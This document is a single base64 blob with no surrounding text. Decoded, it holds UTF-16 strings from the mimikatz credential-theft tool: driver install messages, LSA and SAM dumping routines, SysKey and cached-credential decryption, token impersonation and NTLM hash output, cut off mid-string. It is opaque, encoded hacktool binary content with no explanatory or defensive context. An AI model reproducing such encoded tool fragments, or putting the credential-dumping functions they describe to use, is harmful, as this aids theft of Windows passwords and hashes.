AHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAACsAAAAAAAAAcgBlAG0AbwB2AGUAAAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAcAByAG8AYwBlAHMAcwAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABpAGQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAAAAAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABEAGEAdABhAAAAAAAAAAAARwBCAEcAAABTAGsAZQB3ADEAAABKAEQAAAAAAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAAAAAAAAAAAAQQBzAGsAIABTAEEATQAgAFMAZQByAHYAaQBjAGUAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAKQAAAAAAcwBhAG0AcgBwAGMAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABjAGEAYwBoAGUAAAAAAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGEAbQAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAAbABzAGEAZAB1AG0AcAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEEATQApACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAbwBuAHQAcgBvAGwAUwBlAHQAMAAwADAAAAAAAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAACUAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAAAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAUwB5AHMASwBlAHkAIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAAAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFUAcwBlAHIAcwAAAAAAAABOAGEAbQBlAHMAAAAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFYAAAAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABWACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMAQQBNACAAQQBjAGMAbwB1AG4AdABzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABOAFQATABNAAAAAAAAAAAATABNACAAIAAAAAAAAAAAACUAcwAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AEEAUgBDADQAAAAAAAAAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABBAFIAQwA0ACAASwBPAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABpAGMAeQAAAAAAUABvAGwAUgBlAHYAaQBzAGkAbwBuAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAAAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAAAAAAIAAgAFsAJQAwADIAdQBdACAAAAAgAAAATABTAEEAIABLAGUAeQAgADoAIAAAAAAAUwBlAGMAcgBlAHQAcwAAAHMAZQByAHYAaQBjAGUAcwAAAAAAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAAAAAAAAXwBTAEMAXwAAAAAAAAAAAEMAdQByAHIAVgBhAGwAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAAAAAAAAoAKgAqAE4AVABMAE0AKgAqADoAIAAAAAoAYwB1AHIALwAAAAAAAABPAGwAZABWAGEAbAAAAAAACgBvAGwAZAAvAAAAAAAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAAAAAAEMAYQBjAGgAZQAAAAAAAABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAAAAAAAAAAAAAAAAAAAAqACAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0ACAAaQBzACAAJQB1ACwAIAAlAHUAIAByAGUAYQBsACAAaQB0AGUAcgBhAHQAaQBvAG4AKABzACkACgAAAAAAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgADoAIAAwAHgAJQAwADgAeAAKAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFMAZQBjAHIAZQB0ACAAdgBhAGwAdQBlACAASwBPAAoAAAAAAAAAdABlAHgAdAA6ACAAJQB3AFoAAAAAAAAAaABlAHgAIAA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAGEAdABjAGgAAAAAAAAAUwBhAG0AUwBzAAAAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAAABuAGEAbQBlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtAHIAcABjACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQByAHAAYwAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAAAAAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AcgBwAGMAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG4AZwAAAAAAZABpAHMAYwBvAHYAZQByAGkAbgBnAAAAYQBzAHMAbwBjAGkAYQB0AGkAbgBnAAAAZABpAHMAYwBvAG4AbgB